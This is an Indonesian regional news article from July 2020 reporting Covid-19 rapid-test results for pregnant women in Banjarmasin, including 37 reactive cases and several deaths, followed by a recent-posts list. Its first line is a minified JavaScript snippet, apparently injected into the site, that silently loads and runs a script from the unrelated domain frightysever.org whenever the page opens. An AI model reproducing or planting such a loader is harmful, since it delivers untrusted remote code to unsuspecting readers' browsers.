(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Empat Ribu Ibu Hamil Jalani Rapid Test di Banjarmasin, 37 Diantaranya Reaktif


KANALKALIMANTAN.COM, BANJARMASIN – Tak hanya orang berusia lanjut maupun yang memiliki komorbid atau penyakit penyerta, rupanya ibu-ibu hamil juga memiliki kerentanan terpapar Covid-19. Ini terlihat dari pengujian rapid test terhadap empat ribu ibu hamil di kota Banjarmasin, 37 orang diantaranya dinyatakan reaktif.

Hal ini diungkapkan oleh Kepala Dinas Kesehatan Kota Banjarmasin Dr Machli Riyadi di Banjarmasin, Kamis (9/7/2020).

“Dari 13.077 orang ibu hamil di kota Banjarmasin saat ini, kita sudah melakukan rapid test kurang lebih empat ribu orang dan kita temukan ada 37 ibu hamil yang hasilnya reaktif,” kata Machli.

Dari 37 ibu hamil yang dinyatakan reaktif hasil rapid test, 25 orang diantaranya sudah melahirkan.  “Kita jadwalkan di masing-masing Puskesmas untuk dilakukan swab, karena sudah bisa dilaksanakan di Puskesmas,” tutur Machli.

 

Ibu hamil sendiri, menurut mantan Wakil Direktur Administrasi dan Keuangan RSJ Sambang Lihum ini, memiliki tingkat kerentanan stres yang cukup tinggi. Terutama, pada tiga bulan pertama kehamilan dan tiga bulan terakhir jelang melahirkan.

Sehingga, di waktu-waktu yang disebutkan itu, maka sangat berisiko bagi ibu hamil terpapar Covid-19. Bahkan, penanganannya sendiri lebih kompleks dibandingkan orang tidak hamil.

“Setiap ibu hamil yang akan melahirkan, akan kita rapid test terlebih dahulu. Kita sudah siapkan untuk mengadakan rapid test sebanyak 8 ribu yang kita bagikan kepada 26 Puskesmas,” kata Machli.

Pemeriksaan untuk ibu hamil ini tidak dipungut bayaran. Nantinya, jika ibu hamil yang hendak melahirkan diharuskan menjalani rapid test di Puskesmas. Seluruhnya ditanggung oleh Dinas Kesehatan Kota Banjarmasin.

Dari informasi yang dihimpun, dari 37 ibu hamil yang reaktif,  tiga orang diantaranya dilaporkan meninggal dunia dan tak sempat menjalani swab. Sedangkan satu orang bayi berusia 11 hari juga dinyatakan reaktif dan meninggal dunia. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

1 menit ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

13 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

15 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

15 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

17 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

This website uses cookies.